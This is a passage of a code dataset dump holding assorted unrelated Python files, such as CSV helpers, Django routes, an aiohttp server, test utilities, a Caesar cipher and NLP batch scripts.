subparsers.add_parser('init', help='%(prog)s initialize new blog')\nparser2.add_argument('run', nargs=0, action=InitAction, help=argparse.SUPPRESS)\n\nprsr = subparsers.add_parser('build', help='%(prog)s build new blog')\nprsr.add_argument('run', nargs=0, action=BuildAction, help=argparse.SUPPRESS)\n\nprsr = subparsers.add_parser('server', help='%(prog)s build new blog')\nprsr.add_argument('run', nargs=0, action=ServerAction, help=argparse.SUPPRESS)\n\nprsr = subparsers.add_parser('post', help='post management')\nprsr.add_argument('new', nargs=1)\nprsr.add_argument('title', nargs='+', type=str)\nprsr.add_argument('--author', nargs='*', type=str)\nprsr.add_argument('--date', nargs='*', type=str)\nprsr.add_argument('run', nargs=0, action=PostNew, help='new post')\n\nargs = parser.parse_args()\n\n","sub_path":"mot/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":2856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"37230004","text":"#FUAQ lê uma matriz M [3][4]. Calcular e mostrar o somatório dos\n#valores contidos na segunda linha.\n\nm=[[0 for i in range (3)]for i in range(4)]\nfor l in range(3):\n for c in range(4):\n m[l][c]=int(input('Digite: '))\nacum=0\nfor c in range(4):\n acum+=m[1][c]\nprint('Somatorio:',acum)","sub_path":"exercicio 43 - Matriz.py","file_name":"exercicio 43 - Matriz.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"267648853","text":"import os\nimport csv\nimport zipfile\nimport numpy as np\nimport pandas as pd\nimport logging\nimport traceback\n\n\nclass FileUtil:\n \"\"\"\n ファイルのUtilクラス\n \"\"\"\n \n @staticmethod\n def check_file_exist(filepath):\n \"\"\"\n ファイル/フォルダの存在を確認\n \n Parameters\n ----------\n filepath: string\n ファイルパス\n \n Returns\n ----------\n TRUE/FALSE\n\n Raises\n ----------\n TypeError\n 誤った引数の型が指定された場合\n Exception\n その他例外が発生した場合\n \"\"\"\n\n try:\n if os.path.isfile(filepath):\n return True\n else:\n return False\n except TypeError:\n logging.error(\"引数の型が間違っています。\")\n raise TypeError\n except:\n logging.error(\"ファイル/フォルダのチェック中に予期しない例外が発生しました。\")\n traceback.print_exc()\n raise Exception\n \n @staticmethod\n def read_csv_file_by_std(filepath):\n \"\"\"\n 標準ライブラリでcsvファイルから読み込み\n \n Parameters\n ----------\n filepath: string\n ファイルパス\n \n Returns\n ----------\n numpy_data: ndarray\n numpyデータ\n\n Raises\n ----------\n TypeError\n 誤った引数の型が指定された場合\n Exception\n その他例外が発生した場合\n \"\"\"\n\n try:\n with open(filepath, newline='') as csvfile:\n csv_reader = csv.reader(csvfile, delimiter=',', quotechar='\"')\n for row in csv_reader:\n numpy_data = np.array(row)\n return numpy_data\n except TypeError:\n logging.error(\"引数の型が間違っています。\")\n raise TypeError\n except:\n logging.error(\"標準ライブラリでcsvファイルを読み込み中に予期しない例外が発生しました。\")\n traceback.print_exc()\n raise Exception\n \n @staticmethod\n def read_csv_file_by_numpy(filepath, value=None):\n \"\"\"\n numpyでcsvファイルから読み込み\n \n Parameters\n ----------\n filepath: string\n ファイルパス\n value: variable\n 補完値\n \n Returns\n ----------\n numpy_data: ndarray\n numpyデータ\n\n Raises\n ----------\n TypeError\n 誤った引数の型が指定された場合\n Exception\n その他例外が発生した場合\n \"\"\"\n\n try:\n numpy_data = np.genfromtxt(filepath, delimiter=\",\", filling_values=value)\n return numpy_data\n except TypeError:\n logging.error(\"引数の型が間違っています。\")\n raise TypeError\n except:\n logging.error(\"numpyでcsvファイルを読み込み中に予期しない例外が発生しました。\")\n traceback.print_exc()\n raise Exception\n\n @staticmethod\n def read_csv_file_by_pandas(filepath):\n \"\"\"\n pandasでcsvファイルから読み込み\n \n Parameters\n ----------\n filepath: string\n ファイルパス\n \n Returns\n ----------\n pandas_data: DataFrame\n pandasデータ\n\n Raises\n ----------\n TypeError\n 誤った引数の型が指定された場合\n Exception\n その他例外が発生した場合\n \"\"\"\n\n try:\n pandas_data = pd.read_csv(filepath, delimiter=\",\", header=None)\n return pandas_data\n except TypeError:\n logging.error(\"引数の型が間違っています。\")\n raise TypeError\n except:\n logging.error(\"pandasでcsvファイルを読み込み中に予期しない例外が発生しました。\")\n traceback.print_exc()\n raise Exception\n\n @staticmethod\n def read_zip_file_by_std(execPath, filename):\n \"\"\"\n 標準ライブラリでzipファイルから解凍せずに読み込む\n \n Parameters\n ----------\n execPath: string\n 実行パス\n filename: string\n ファイル名\n \n Returns\n ----------\n numpy_data: ndarray\n numpyデータ\n\n Raises\n ----------\n TypeError\n 誤った引数の型が指定された場合\n Exception\n その他例外が発生した場合\n \"\"\"\n\n try:\n with zipfile.ZipFile(execPath + '/' + filename, 'r') as post:\n for info in post.infolist():\n # ファイルパスでスキップ判定\n if not os.path.isfile(execPath + '/' + info.filename):\n continue\n\n file_data = post.read(info.filename).decode('utf-8')\n for row in file_data.split('\\n'):\n if numpy_data is None:\n numpy_data = np.array(row)\n else:\n numpy_data = np.vstack((numpy_data, np.array(row)))\n return numpy_data\n except TypeError:\n logging.error(\"引数の型が間違っています。\")\n raise TypeError\n except:\n logging.error(\"zipファイルから読み込み中に予期しない例外が発生しました。\")\n traceback.print_exc()\n raise Exception\n \n @staticmethod\n def write_csv_file_by_std(numpy_data, filepath):\n \"\"\"\n 標準ライブラリでcsvファイルへ書き込み\n \n Parameters\n ----------\n numpy_data: ndarray\n numpyデータ\n filepath: string\n ファイルパス\n\n Raises\n ----------\n TypeError\n 誤った引数の型が指定された場合\n Exception\n その他例外が発生した場合\n \"\"\"\n\n try:\n with open(filepath, 'w') as csvfile:\n writer = csv.writer(csvfile, lineterminator='\\n') # 改行コード（\\n）を指定しておく\n writer.writerows(numpy_data)\n except TypeError:\n logging.error(\"引数の型が間違っています。\")\n raise TypeError\n except:\n logging.error(\"標準ライブラリでcsvファイルへ書き込み中に予期しない例外が発生しました。\")\n traceback.print_exc()\n raise Exception\n\n @staticmethod\n def write_csv_file_by_numpy(numpy_data, filepath):\n \"\"\"\n numpyでcsvファイルへ書き込み\n\n Parameters\n ----------\n numpy_data: ndarray\n numpyデータ\n filepath: string\n ファイルパス\n\n Raises\n ----------\n TypeError\n 誤った引数の型が指定された場合\n Exception\n その他例外が発生した場合\n \"\"\"\n\n try:\n np.savetxt(filepath, numpy_data, delimiter=\",\")\n except TypeError:\n logging.error(\"引数の型が間違っています。\")\n raise TypeError\n except:\n logging.error(\"numpyでcsvファイルへ書き込み中に予期しない例外が発生しました。\")\n traceback.print_exc()\n raise Exception\n\n @staticmethod\n def write_csv_file_by_pandas(pandas_data, filepath):\n \"\"\"\n pandasでcsvファイルへ書き込み\n\n Parameters\n ----------\n pandas_data: DataFrame\n pandas出力データ\n filepath: string\n ファイルパス\n\n Raises\n ----------\n TypeError\n 誤った引数の型が指定された場合\n Exception\n その他例外が発生した場合\n \"\"\"\n\n try:\n pandas_data.pandas_data.to_csv(filepath)\n except TypeError:\n logging.error(\"引数の型が間違っています。\")\n raise TypeError\n except:\n logging.error(\"pandasでcsvファイルへ書き込み中に予期しない例外が発生しました。\")\n traceback.print_exc()\n raise Exception\n","sub_path":"python_pj/utils/FileUtil.py","file_name":"FileUtil.py","file_ext":"py","file_size_in_byte":8627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"106673135","text":"# -*- coding: utf8 -*-\n\nimport json\nimport os\n\nimport settings\n\n\ndef load_data(file_name, directory=None):\n if directory is None:\n directory = settings.DATA_DIRECTORY\n\n obj = None\n try:\n with open(os.path.join(directory, file_name)) as fp:\n obj = fp.read()\n except IOError:\n pass\n\n return json.loads(obj) if obj else {}\n\n\ndef save_data(file_name, obj_to_save, directory=None):\n if directory is None:\n directory = settings.DATA_DIRECTORY\n\n with open(os.path.join(directory, file_name), 'w') as fp:\n if hasattr(obj_to_save, 'serialize'):\n fp.write(json.dumps(obj_to_save.serialize()))\n else:\n fp.write(json.dumps(obj_to_save))\n\n\ndef data_exists(file_name, directory=None):\n if directory is None:\n directory = settings.DATA_DIRECTORY\n return os.path.isfile(os.path.join(directory, file_name))\n","sub_path":"tool/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"183695803","text":"# coding: utf8\n\nimport json\nimport os\nimport shutil\n\nimport pytest\n\n\n@pytest.fixture(\n params=[\n \"train_image_ae\",\n \"train_patch_ae\",\n \"train_roi_ae\",\n \"train_slice_ae\",\n ]\n)\ndef cli_commands(request):\n if request.param == \"train_image_ae\":\n mode = \"image\"\n test_input = [\n \"train\",\n \"reconstruction\",\n \"data/dataset/random_example\",\n \"extract_image.json\",\n \"data/labels_list\",\n \"results\",\n \"-c\",\n \"data/train_config.toml\",\n ]\n elif request.param == \"train_patch_ae\":\n mode = \"patch\"\n test_input = [\n \"train\",\n \"reconstruction\",\n \"data/dataset/random_example\",\n \"extract_patch.json\",\n \"data/labels_list\",\n \"results\",\n \"-c\",\n \"data/train_config.toml\",\n ]\n elif request.param == \"train_roi_ae\":\n mode = \"roi\"\n test_input = [\n \"train\",\n \"reconstruction\",\n \"data/dataset/random_example\",\n \"extract_roi.json\",\n \"data/labels_list\",\n \"results\",\n \"-c\",\n \"data/train_config.toml\",\n ]\n elif request.param == \"train_slice_ae\":\n mode = \"slice\"\n test_input = [\n \"train\",\n \"reconstruction\",\n \"data/dataset/random_example\",\n \"extract_slice.json\",\n \"data/labels_list\",\n \"results\",\n \"-c\",\n \"data/train_config.toml\",\n ]\n else:\n raise NotImplementedError(\"Test %s is not implemented.\" % request.param)\n\n return test_input, mode\n\n\ndef test_train(cli_commands):\n if os.path.exists(\"results\"):\n shutil.rmtree(\"results\")\n\n test_input, mode = cli_commands\n if os.path.exists(\"results\"):\n shutil.rmtree(\"results\")\n flag_error = not os.system(\"clinicadl \" + \" \".join(test_input))\n assert flag_error\n with open(os.path.join(\"results\", \"maps.json\"), \"r\") as f:\n json_data = json.load(f)\n assert json_data[\"mode\"] == mode\n\n shutil.rmtree(\"results\")\n","sub_path":"tests/test_train_ae.py","file_name":"test_train_ae.py","file_ext":"py","file_size_in_byte":2160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"10585084","text":"import asyncio\n\nfrom aiohttp import web\n\nimport logic\n\npoemtryMachine = logic.getPoemtryJson()\n\nasync def job(request):\n text = next(poemtryMachine)\n return web.Response(body=text.encode('utf-8'))\n\nasync def init(loop):\n app = web.Application(loop=loop)\n app.router.add_route('GET', '/job', job)\n srv = await loop.create_server(app.make_handler(), '127.0.0.1', 8000)\n print('Server started at http://127.0.0.1:8000...')\n return srv\n\nloop = asyncio.get_event_loop()\nloop.run_until_complete(init(loop))\nloop.run_forever()\n","sub_path":"python-server/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"180729978","text":"from renderers.teensy import serial_constants\nimport utils\n\nclass EffectManager(object):\n\n def __init__(self, nlights=serial_constants.TOTAL_LEDS):\n self.nlights = nlights #total number of LEDs\n a = list(range(self.nlights)) #list with index number for every led\n self.lightDict = dict.fromkeys(a) #dictionary {ledIndex: color}\n\n #LED indices for 8 separate segments\n g = [200, 420, 540, 660, 865, 1071, 1192]\n s0 = list(range(0,g[0]))\n s1 = list(range(g[0],g[1]))\n s2 = list(range(g[1],g[2]))\n s3 = list(range(g[2],g[3]))\n s4 = list(range(g[3],g[4]))\n s5 = list(range(g[4],g[5]))\n s6 = list(range(g[5],g[6]))\n s7 = list(range(g[6],self.nlights))\n\n\n #dictionary containing indices for leds in all segments\n self.sectionsDict = {0:s0, 1:s1, 2:s2, 3:s3, 4:s4, 5:s5, 6:s6, 7:s7}\n\n #make all the LEDs in one section one color\n def colorSections(self, sectionList, color):\n for sectionNum in sectionList:\n for ledNum in self.sectionsDict[sectionNum]:\n self.lightDict[ledNum] = color\n\n #make all the LEDs in half a section one color\n #sectionTupleList should be (sectionNum, 0 or 1) 0 or 1 for different halves\n def colorHalfSections(self, sectionTupleList, color):\n for sectionNum,half in sectionTupleList:\n count = 0\n for ledNum in self.sectionsDict[sectionNum]:\n if count < len(self.sectionsDict[sectionNum])//2 and half == 0:\n self.lightDict[ledNum] = color\n elif count > len(self.sectionsDict[sectionNum])//2 and half == 1:\n self.lightDict[ledNum] = color\n\n count = count + 1\n\n #turns every 3rd LED in a section on for a strobe effect\n def strobeSection(self, sectionList):\n for sectionNum in sectionList:\n for ledNum in self.sectionsDict[sectionNum]:\n if ledNum % 3 == 0:\n self.lightDict[ledNum] = utils.hsv_to_rgb(1, 0, 1)\n\n def toByteArray(self):\n output = []\n for k,v in self.lightDict.items():\n if v != None:\n x = 'L'.encode()\n output.append(x)\n i0 = k & 255 #low order bits\n i1 = (k & 65280) >> 8 #high order bits\n output.append(i0)\n output.append(i1)\n output.append(v[0])\n output.append(v[1])\n output.append(v[2])\n return bytearray(output)\n\n def get_light_Dict(self):\n return self.lightDict\n\n#Generates a moving \"snake\" of light, length, velocity, and time of existance\n#can be specified\nclass snake(object):\n def __init__(self, color, nlights=serial_constants.TOTAL_LEDS, start = 0,\n length = 1, velocity = 1, duration = 100, fade = True):\n self.nlights = nlights #total number of LEDs\n a = list(range(start, start+length)) #list with index number for leds in snake\n self.lightDict = dict.fromkeys(a) #dictionary {ledIndex: color}\n self.velocity = velocity\n self.length = length\n self.deathIndex = start + duration\n\n if fade:\n count = 0;\n for i in self.lightDict.keys():\n c = dim_hex_color(color, 1-count*0.05)\n self.lightDict[i] = color;\n count = count + 1\n else:\n for i in self.lightDict.keys():\n self.lightDict[i] = color;\n\n\n #moves the snake, start and deathIndex should not require overlapping from\n #the last index in the LED array to the 0th.\n def update():\n for i in self.lightDict.keys():\n if i+self.velocity >= self.deathIndex:\n self.lightDict[i+self.velocity] = self.lightDict[i]\n del self.lightDict[i]\n\n def get_light_Dict():\n return self.lightDict\n","sub_path":"lib/renderers/teensy/light_effect_manager.py","file_name":"light_effect_manager.py","file_ext":"py","file_size_in_byte":3905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"108766017","text":"from sympy import binomial\nfrom itertools import product\n\nif __name__ == \"__main__\":\n n_upper = int(input())\n binomial_lower = int(input())\n \n counter = len({\n (n,r) for n,r in product(range(n_upper + 1), repeat=2) \n if binomial(n,r) > binomial_lower \n })\n \n print(counter)","sub_path":"51-60/p53.py","file_name":"p53.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"637594222","text":"from django.contrib import admin\n\n# Register your models here.\nfrom .models import Profile\n\n\n@admin.register(Profile)\nclass AdminProfile(admin.ModelAdmin):\n list_display = (\n 'usuario',\n 'clave_rh',\n 'clave_jde',\n 'foto',\n 'fecha_nacimiento',\n )\n","sub_path":"seguridad/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"78081346","text":"from django.urls import path, re_path\nfrom app import views\n\nurlpatterns = [\n path('', views.home, name='home'),\n path('signup/', views.signup, name='signup'),\n path('signin/', views.signin, name='signin'),\n path('disconnect/', views.disconnect, name=\"disconnect\"),\n path('contact/', views.contact, name='contact'),\n re_path(r'^gig_detail/(?P[0-9]+)/$', views.gig_detail, name='gig_detail'),\n path('gig_mygigs/', views.gig_mygigs, name='gig_mygigs'),\n path('gig_create/', views.gig_create, name=\"gig_create\"),\n re_path(r'^gig_edit/(?P[0-9]+)/$', views.gig_edit, name='gig_edit'),\n re_path(r'^gig_search/$', views.gig_search, name='gig_search'),\n re_path(r'^profile/(?P\\w+)/$', views.profile, name='profile'),\n path('account/', views.account, name='account'),\n re_path(r'^personal_info/(?P\\w+)/$', views.personal_info, name='personal_info'),\n\n path('ajax/load-cities/', views.load_cities, name='ajax_load_cities'), # AJAX\n path('ajax/load-localities/', views.load_localities, name='ajax_load_localities'), # AJAX\n path('ajax/load-areas/', views.load_areas, name='ajax_load_areas'), # AJAX\n path('ajax/load-subareas/', views.load_subareas, name='ajax_load_subareas'), # AJAX\n]","sub_path":"app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"130200057","text":"import xlrd\nimport os\nimport shutil\nimport pandas as pd\nimport numpy as np\nfrom utils import quadratic_weighted_kappa, kappa_confusion_matrix, AverageMeter\nfrom sklearn.metrics import confusion_matrix\nimport argparse\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='kappa3_ratio')\n parser.add_argument('--csvfile', required=True)\n parser.add_argument('--error_output', required=True)\n return parser.parse_args()\n\nargs = parse_args()\n\nroot = '/media/weidong/weidong/12.15质检图片'\nxls_file = os.path.join(root, '3_分级2017.05.01_2017.12.01.xls')\n# pred_csv = os.path.join(root, '3/Save/result.csv')\npred_csv = os.path.join(root, args.csvfile)\nprint(xls_file)\n\ndata = xlrd.open_workbook(xls_file)\n\ntable = data.sheets()[0]\n\nnrows = table.nrows\n\ndict_gt = {}\n\nfor i in range(1, nrows):\n try:\n row = table.row_values(i)\n name = str(int(row[0]))\n level = str(int(row[4]))\n dict_gt[name+'.jpg'] = int(row[4])\n except:\n continue\n\ndict_pred = {}\n\ndf = pd.DataFrame.from_csv(pred_csv)\nfor index, row in df.iterrows():\n dict_pred[row['image']] = row['dr_level']\n\nlist_gt = []\nlist_pred = []\n\n# make dir\nroot_error = os.path.join(root, args.error_output)\nos.makedirs(root_error, exist_ok=True)\nfor i in range(5):\n for j in range(5):\n tmp_dir = os.path.join(root_error, 'gt_{}_pred_{}'.format(i, j))\n os.makedirs(tmp_dir, exist_ok=True)\n\n\nfor key in dict_pred.keys():\n list_gt.append(dict_gt[key])\n list_pred.append(dict_pred[key])\n if (dict_gt[key] != dict_pred[key]):\n src_file = os.path.join(root, '3/Save/{}'.format(key))\n dst_file = os.path.join(root_error, 'gt_{}_pred_{}'.format(dict_gt[key], dict_pred[key]))\n shutil.copy(src_file, dst_file)\n print('copy from {} to {}'.format(src_file, dst_file))\n\nprint(len(list_pred))\nprint(len(list_gt))\n\nnp_gt = np.array(list_gt)\nnp_pred = np.array(list_pred)\n\ndr_kappa = quadratic_weighted_kappa(np_gt, np_pred)\n\ndr_confusion_matrix = str(confusion_matrix(np_gt, np_pred))\n\nout_file = os.path.join(root, 'kappa3.txt')\n\nwith open(out_file, 'w') as f:\n f.write('====>kappa: {}\\n'.format(dr_kappa))\n f.write('===> Confusion Matrix:\\n')\n f.write(dr_confusion_matrix)\n f.write('\\n\\n')\n","sub_path":"tmp1/kappa3_ratio.py","file_name":"kappa3_ratio.py","file_ext":"py","file_size_in_byte":2260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"24604083","text":"import sys\nfrom optparse import OptionParser\n\n\ndef simpleParseCallbackKeywords(option, opt, value, parser):\n setattr(parser.values, option.dest, value.split(','))\n\n\ndef simpleParseOptions():\n parser = OptionParser()\n parser.add_option('-q', '--quiet', action='store_false',\n dest=\"verbose\", default=True)\n parser.add_option('-j', action='store_true', dest=\"join\", default=False)\n parser.add_option('-k', '--keywords', action=\"callback\", type=\"string\",\n dest=\"keywords\", callback=simpleParseCallbackKeywords)\n return parser\n\n\ndef simpleParseInput(args):\n parser = simpleParseOptions()\n (options, args) = parser.parse_args()\n print(\"Verbose: {verbose}\".format(verbose=options.verbose))\n print(\"Options: {join}\".format(join=options.join))\n print(\"Keywords: {keywords}\".format(keywords=options.keywords))\n\nsimpleParseInput(sys.argv)\n","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"258812182","text":"import Movie\nimport requests, base64, hashlib, json\nfrom datetime import date\nfrom settings import *\n\n\nclass Person:\n \n\n def __init__(self, code):\n self.parameters = code\n self.code = code[\"code\"]\n \n if \"picture\" in code:\n self.picture = code[\"picture\"][\"href\"]\n else:\n self.picture = \"\"\n\n if \"name\" in code:\n self.name = code[\"name\"]\n else:\n self.name = \"\"\n\n if \"gender\" in code:\n if code[\"gender\"] == 2:\n self.gender = \"woman\"\n else:\n self.gender = \"man\"\n else:\n self.gender = \"\"\n\n if \"birthDate\" in code:\n d = datetime.strptime(code[\"birthDate\"], '%Y-%m-%d')\n self.birthDate = d.strftime('%d/%m/%Y')\n else:\n self.birthDate = \"\"\n\n if \"nationality\" in code:\n self.nationality = code[\"nationality\"][0][\"$\"]\n else:\n self.nationality = \"\"\n\n if \"realName\" in code:\n self.realName = code[\"realName\"]\n else:\n self.realName = \"\"\n\n if \"link\" in code:\n self.link = code[\"link\"][0][\"href\"]\n else:\n self.link = \"\"\n \n if \"activity\" in code:\n self.activity = []\n for a in code[\"activity\"]:\n self.activity.append(a[\"$\"])\n else:\n self.activity = []\n\n \n def __unicode__(self):\n return self.realName\n\n\n def getFilmography(self, profile = DEFAULT_PROFILE):\n \n qry = str(self.code)\n count = \"1\"\n \n headers = {\"User-Agent\":\"Dalvik/1.6.0 (Linux; U; Android 4.2.2; Nexus 4 Build/JDQ39E)\"}\n url = \"http://api.allocine.fr/rest/v3/filmography\"\n sed = str(date.today().strftime(\"%Y%m%d\"))\n sig = hashlib.sha1(SECRET_KEY + \"partner=\"+PARTNER_CODE+\"&code=\"+qry.replace(\" \",\"+\")+\"&format=json&filter=person&count=\" + str(count) + '&sed=' + sed).digest().encode(\"base64\").replace(\"\\n\",\"\").replace(\"+\", \"%2B\").replace(\"=\", \"%3D\").replace(\"/\", \"%2F\")\n url += '?' + \"partner=\"+PARTNER_CODE+\"&code=\"+qry.replace(\" \",\"+\") + \"&format=json&filter=person&count=\" + str(count) + '&sed=' + sed + '&sig=' + sig\n \n e = requests.get(url, headers=headers).text\n d = json.loads(e)[\"person\"][\"participation\"]\n \n filmography = []\n for i in d:\n movie = {}\n if \"movie\" in i:\n \n movie[\"title\"] = i[\"movie\"][\"title\"]\n movie[\"productionYear\"] = i[\"movie\"][\"productionYear\"]\n movie[\"activity\"] = i[\"activity\"][\"$\"]\n \n if \"role\" in i:\n movie[\"role\"] = i[\"role\"]\n else:\n movie[\"role\"] = \"\"\n \n filmography.append(movie)\n \n return filmography\n \n","sub_path":"allocine/Person.py","file_name":"Person.py","file_ext":"py","file_size_in_byte":2587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"199840751","text":"import os\n\n\ndef excuteLtp(cmdline, inputFoler, outputFolder):\n n = 0\n for parents, folders, filenames in os.walk(inputFoler):\n for filename in filenames:\n inputFile = os.path.join(inputFoler, filename)\n outputFile = os.path.join(outputFolder, filename)\n if os.path.exists(outputFile)!=True:\n n+=1\n\n newCmdLine = cmdline + \" -in \" + inputFile + \" -out \" + outputFile\n os.system(newCmdLine)\n\n\n\nif __name__ == '__main__':\n\n niuParserPath = r\"H://NiuParser-v1.3.0-win//bin\"\n model_exe = \"//NiuParser-v1.3.0-mt-win.exe\"\n model_action = [ \" --POS \",\" --CP \", \" --DP \"]\n model_config = \" -c niuparser.config \"\n\n os.chdir(niuParserPath)\n\n\n # year = str(2015)\n # niuparseFolder = os.path.join(\"/home/nankang/Desktop/nianbao\", \"niuparser_\" + year)\n # if os.path.exists(niuparseFolder):\n # print(\"exists\")\n # else:\n # os.makedirs(niuparseFolder)\n\n # version = \"version_\" + \"3\"\n # fenlei = \"v3_1\"\n # input_pos_folder = os.path.join(\"/home/nankang/Desktop/cws\", year+\"_\"+version+\"_cws\")\n # output_cws_folder = os.path.join(niuparseFolder, version + \"_ws\",fenlei)\n # input_pos_folder = output_cws_folder\n # output_pos_folder = os.path.join(niuparseFolder, version + \"_pos\")\n # input_cp_folder = input_pos_folder\n # output_cp_folder = os.path.join(niuparseFolder, version + \"_cp\")\n # input_dp_folder = input_pos_folder\n # output_dp_folder = os.path.join(niuparseFolder, version + \"_dp\")\n\n # if os.path.exists(output_cws_folder):\n # print(\"exists\")\n # else:\n # os.mkdir(output_cws_folder)\n # if os.path.exists(output_pos_folder):\n # print(\"exists\")\n # else:\n # os.makedirs(output_pos_folder)\n # if os.path.exists(output_cp_folder):\n # print(\"exists\")\n # else:\n # os.makedirs(output_cp_folder)\n # if os.path.exists(output_dp_folder):\n # print(\"exists\")\n # else:\n # os.makedirs(output_dp_folder)\n\n # cmdline = model_exe+threads_num+last_stage\n # cmdline_cws = \"/home/hadoop1/desktop/NiuParser-v1.3.0-linux/bin/\"+model_exe + model_action[0] + model_config\n cmdline_pos = niuParserPath+model_exe + model_action[0] + model_config\n cmdline_cp = niuParserPath+model_exe + model_action[1] + model_config\n cmdline_dp = niuParserPath+model_exe + model_action[2] + model_config\n # excuteLtp(cmdline_cws, input_cws_folder, output_cws_folder)\n # excuteLtp(cmdline_pos, input_pos_folder, output_pos_folder)\n # excuteLtp(cmdline_cp, input_cp_folder, output_cp_folder)\n # excuteLtp(cmdline_dp, input_dp_folder, output_dp_folder)\n # newCmdLine = cmdline + \" -in \" + inputFile + \" -out \" + outputFile\n inputFile='H://hanyu//hanyu_output_pos.txt'\n # file = open(inputFile,'r')\n # s = file.read()\n # print(s)\n # file.close()\n outputFile='H://hanyu//hanyu_output_dp.txt'\n # if os.path.exists(outputFile):\n # print(\"exists\")\n # else:\n # os.makedirs(outputFile)\n # excuteLtp(cmdline_cp, inputFile, outputFile)\n newCmdLine=cmdline_dp+\" -in \" + inputFile + \" -out \" + outputFile\n os.system(newCmdLine)\n","sub_path":"NiuParse-linux.py","file_name":"NiuParse-linux.py","file_ext":"py","file_size_in_byte":3186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"165175363","text":"from pyats.utils.fileutils import FileUtils\nfrom pyats.aetest import Testcase, test\n\n\nclass Smoke(Testcase):\n\n @test\n def copy_from(self, env):\n with FileUtils(testbed=env) as futils:\n futils.copyfile(\n source='scp://rrr//home/adminaccount/slavik/3.txt',\n destination='/home/jsakhno/github/pyatsTraining/homeworks/yaroslav_sakhno/hw03')\n\n @test\n def copy_to(self,env):\n with FileUtils(testbed=env) as futils:\n futils.copyfile(\n source='/home/jsakhno/github/pyatsTraining/homeworks/yaroslav_sakhno/hw03/2.txt',\n destination='scp://rrr//home/adminaccount/slavik')\n","sub_path":"homeworks/yaroslav_sakhno/hw03/test_copy.py","file_name":"test_copy.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"310277346","text":"import string\n\n\ndef main():\n try:\n input_file_name = input('Input file name: ')\n output_file_name = input('Output file name: ')\n mode = int(input('1 - encrypt\\n2 - decrypt\\nMake your choice: '))\n key = get_key(mode, int(input('Input key: ')))\n original_str = read_from_file(input_file_name)\n modified_str = encrypt_string(original_str, key)\n write_to_file(output_file_name, modified_str)\n except FileNotFoundError:\n print('There is no such file!')\n except ValueError:\n print('Illegal key or mode format')\n\n\ndef read_from_file(input_file_name):\n with open(input_file_name, 'r') as r:\n input_str = r.read()\n return input_str\n\n\ndef write_to_file(output_file_name, out_str):\n with open(output_file_name, 'w') as w:\n w.write(out_str)\n\n\ndef get_key(mode, key_of_encryption):\n if mode == 2:\n key_of_encryption = -key_of_encryption\n elif mode != 1:\n raise ValueError('Illegal mode parameter...')\n return key_of_encryption\n\n\ndef encrypt_string(input_string, key):\n a = 'абвгдеёжзийклмнопрстуфхцчшщъыьэюя'\n symbols = a + \" \" + a.upper() + string.ascii_letters + string.digits + string.punctuation\n encrypted_string, length_symbols = \"\", len(symbols)\n for input_char in input_string:\n found_char_index = symbols.find(input_char)\n if found_char_index == -1:\n encrypted_string += input_char\n else:\n new_index = (found_char_index + key) % length_symbols\n encrypted_string += symbols[new_index]\n\n return encrypted_string\n","sub_path":"Encrypt_String.py","file_name":"Encrypt_String.py","file_ext":"py","file_size_in_byte":1626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"319062483","text":"import random\nimport logging\n\nfrom axilent import handlers, dicts\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass DictAxiTest(object):\n '''\n Wraps a test with prepare and check methods with a test that\n exposes make_input_data and check_output_data methods.\n '''\n\n def __init__(self, axi_test, terminate_early=False):\n self.axi_test = axi_test\n self.handler = handlers.DictCommandHandler()\n self.terminate_early = terminate_early\n\n def make_input_data(self):\n input_data = [{\n 'reset': 1,\n 'm2s': dicts.make_empty_axi4lite_m2s_dict(),\n 's2m': dicts.make_empty_axi4lite_s2m_dict(),\n }]\n self.axi_test.prepare(self.handler)\n m2s = self.handler.make_command_dicts()\n input_data += [{\n 'reset': 0,\n 'm2s': d,\n 's2m': dicts.make_empty_axi4lite_s2m_dict(),\n } for d in m2s]\n if self.terminate_early:\n input_data = input_data[:random.randint(1, len(input_data))]\n return input_data\n\n def check_output_data(self, input_data, output_data):\n if not self.terminate_early:\n response_dicts = [d['s2m'] for d in output_data[1:]]\n self.handler.consume_response_dicts(response_dicts)\n self.axi_test.check()\n","sub_path":"axilent/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"604432332","text":"import re\nimport subprocess # noqa: F401\n\nimport pytest\nimport 